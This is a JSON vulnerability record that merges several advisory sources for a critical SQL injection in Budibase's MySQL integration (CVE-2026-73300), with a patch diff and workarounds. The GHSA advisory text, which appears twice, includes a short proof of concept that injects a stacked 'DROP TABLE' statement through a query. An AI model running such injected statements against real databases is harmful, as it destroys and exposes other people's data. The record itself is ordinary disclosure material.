{"id":"CVE-2026-73300","aliases":["EUVD-2026-57394","GHSA-q6x4-v3qx-85qw"],"status":"published","title":"Budibase: SQL Injection via `multipleStatements: true`","description":"Budibase is an open-source low-code platform. Prior to 3.40.0, the MySQL integration component in Budibase is configured with multipleStatements: true, enabling execution of multiple SQL statements in a single query. Attackers can inject malicious SQL commands through user input fields, leading to complete database compromise. This vulnerability is fixed in 3.40.0.","severity":{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00565,"percentile":0.47397,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-89"],"published":"2026-07-24T21:15:02Z","modified":"2026-10-28T02:31:09Z","affected":[{"source":"ghsa","ecosystem":"npm","package":"@budibase/server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.38.1"}]}]},{"source":"osv","ecosystem":"npm","package":"@budibase/server","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"3.38.1"}]}]}],"products":[{"vendor":"budibase","product":"budibase"}],"references":[{"url":"https://github.com/Budibase/budibase/security/advisories/GHSA-q6x4-v3qx-85qw","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/Budibase/budibase/releases/tag/3.40.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-73300","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-q6x4-v3qx-85qw"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/73xxx/CVE-2026-73300.json","tags":["advisory"]},{"url":"https://github.com/Budibase/budibase","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-73300","title":"Budibase: SQL Injection via `multipleStatements: true`","description":"Budibase is an open-source low-code platform. Prior to 3.40.0, the MySQL integration component in Budibase is configured with multipleStatements: true, enabling execution of multiple SQL statements in a single query. Attackers can inject malicious SQL commands through user input fields, leading to complete database compromise. This vulnerability is fixed in 3.40.0.","status":"published","published":"2026-08-12T18:05:51.428Z","modified":"2026-08-12T18:55:16.387Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"cna"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T13:43:22.599321Z"}],"euvd":[{"id":"EUVD-2026-57394","description":"Budibase is an open-source low-code platform. Prior to 3.40.0, the MySQL integration component in Budibase is configured with multipleStatements: true, enabling execution of multiple SQL statements in a single query. Attackers can inject malicious SQL commands through user input fields, leading to complete database compromise. This vulnerability is fixed in 3.40.0.","status":"published","published":"2026-08-12T18:05:51Z","modified":"2026-08-12T18:55:16Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"updated_at":"2026-11-02T18:01:57.953172Z"}],"ghsa":[{"id":"GHSA-q6x4-v3qx-85qw","title":" Budibase: SQL Injection via `multipleStatements: true`","description":"## Summary\nA critical SQL injection vulnerability was discovered in Budibase's MySQL integration that allows remote attackers to execute arbitrary SQL commands.\n\n## Details\n### Vulnerability Type\nSQL Injection\n\n### Description\nThe MySQL integration component in Budibase is configured with `multipleStatements: true`, enabling execution of multiple SQL statements in a single query. Attackers can inject malicious SQL commands through user input fields, leading to complete database compromise.\n\n### Location\n```typescript\n// File: packages/server/src/integrations/mysql.ts\n// Line: 173\n\nthis.config = {\n  ...config,\n  typeCast: defaultTypeCasting,\n  multipleStatements: true,  // VULNERABLE\n  timezone: \"Z\",\n}\n```\n\n## Proof of Concept\n\n### Exploit\n```javascript\nconst mysql = require('mysql2');\n\n// Budibase vulnerable configuration\nconst connection = mysql.createConnection({\n  host: 'localhost',\n  user: 'root',\n  password: 'password',\n  multipleStatements: true,  // Vulnerable setting\n  timezone: \"Z\"\n});\n\n// Attack: Data destruction\nconnection.query(\n  `SELECT * FROM users WHERE id = 1; DROP TABLE sensitive_data; --`,\n  (err, results) =\u003e {\n    if (!err) console.log(\"Table dropped successfully\");\n  }\n);\n```\n\n## Impact\n- **Data Destruction**: Execute DROP TABLE, DELETE commands\n- **Data Theft**: Exfiltrate data via SELECT INTO OUTFILE\n- **Privilege Escalation**: Grant database admin privileges\n- **Denial of Service**: Disrupt service operations\n- **Complete Database Compromise**: Full control over database\n\n## Remediation\n### Patch\n```diff\n--- a/packages/server/src/integrations/mysql.ts\n+++ b/packages/server/src/integrations/mysql.ts\n@@ -170,7 +170,7 @@ class MySQLIntegration extends Sql implements DatasourcePlus {\n     this.config = {\n       ...config,\n       typeCast: defaultTypeCasting,\n-      multipleStatements: true,\n+      multipleStatements: false,\n       timezone: \"Z\",\n     }\n   }\n```\n\n### Workarounds\n1. Temporarily disable MySQL integration\n2. Implement web application firewall (WAF)\n3. Restrict database user privileges","status":"published","published":"2026-07-24T21:15:02Z","modified":"2026-08-12T18:56:53Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:40:58.888637Z"}],"nvd":[{"id":"CVE-2026-73300","description":"Budibase is an open-source low-code platform. Prior to 3.40.0, the MySQL integration component in Budibase is configured with multipleStatements: true, enabling execution of multiple SQL statements in a single query. Attackers can inject malicious SQL commands through user input fields, leading to complete database compromise. This vulnerability is fixed in 3.40.0.","status":"published","published":"2026-08-12T18:18:15.34Z","modified":"2026-09-08T20:56:50.52Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T14:12:37.217486Z"}],"osv":[{"id":"CVE-2026-73300","title":"Budibase: SQL Injection via `multipleStatements: true`","description":"Budibase is an open-source low-code platform. Prior to 3.40.0, the MySQL integration component in Budibase is configured with multipleStatements: true, enabling execution of multiple SQL statements in a single query. Attackers can inject malicious SQL commands through user input fields, leading to complete database compromise. This vulnerability is fixed in 3.40.0.","status":"published","published":"2026-08-12T18:05:51.428Z","modified":"2026-10-28T02:31:09.361076134Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:45:16.365946Z"},{"id":"GHSA-q6x4-v3qx-85qw","title":" Budibase: SQL Injection via `multipleStatements: true`","description":"## Summary\nA critical SQL injection vulnerability was discovered in Budibase's MySQL integration that allows remote attackers to execute arbitrary SQL commands.\n\n## Details\n### Vulnerability Type\nSQL Injection\n\n### Description\nThe MySQL integration component in Budibase is configured with `multipleStatements: true`, enabling execution of multiple SQL statements in a single query. Attackers can inject malicious SQL commands through user input fields, leading to complete database compromise.\n\n### Location\n```typescript\n// File: packages/server/src/integrations/mysql.ts\n// Line: 173\n\nthis.config = {\n  ...config,\n  typeCast: defaultTypeCasting,\n  multipleStatements: true,  // VULNERABLE\n  timezone: \"Z\",\n}\n```\n\n## Proof of Concept\n\n### Exploit\n```javascript\nconst mysql = require('mysql2');\n\n// Budibase vulnerable configuration\nconst connection = mysql.createConnection({\n  host: 'localhost',\n  user: 'root',\n  password: 'password',\n  multipleStatements: true,  // Vulnerable setting\n  timezone: \"Z\"\n});\n\n// Attack: Data destruction\nconnection.query(\n  `SELECT * FROM users WHERE id = 1; DROP TABLE sensitive_data; --`,\n  (err, results) =\u003e {\n    if (!err) console.log(\"Table dropped successfully\");\n  }\n);\n```\n\n## Impact\n- **Data Destruction**: Execute DROP TABLE, DELETE commands\n- **Data Theft**: Exfiltrate data via SELECT INTO OUTFILE\n- **Privilege Escalation**: Grant database admin privileges\n- **Denial of Service**: Disrupt service operations\n- **Complete Database Compromise**: Full control over database\n\n## Remediation\n### Patch\n```diff\n--- a/packages/server/src/integrations/mysql.ts\n+++ b/packages/server/src/integrations/mysql.ts\n@@ -170,7 +170,7 @@ class MySQLIntegration extends Sql implements DatasourcePlus {\n     this.config = {\n       ...config,\n       typeCast: defaultTypeCasting,\n-      multipleStatements: true,\n+      multipleStatements: false,\n       timezone: \"Z\",\n     }\n   }\n```\n\n### Workarounds\n1. Temporarily disable MySQL integration\n2. Implement web application firewall (WAF)\n3. Restrict database user privileges","status":"published","published":"2026-07-24T21:15:02Z","modified":"2026-08-12T19:11:12.797251Z","cvss":[{"version":"3.1","score":9.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-89"],"updated_at":"2026-11-02T15:46:54.055966Z"}]}}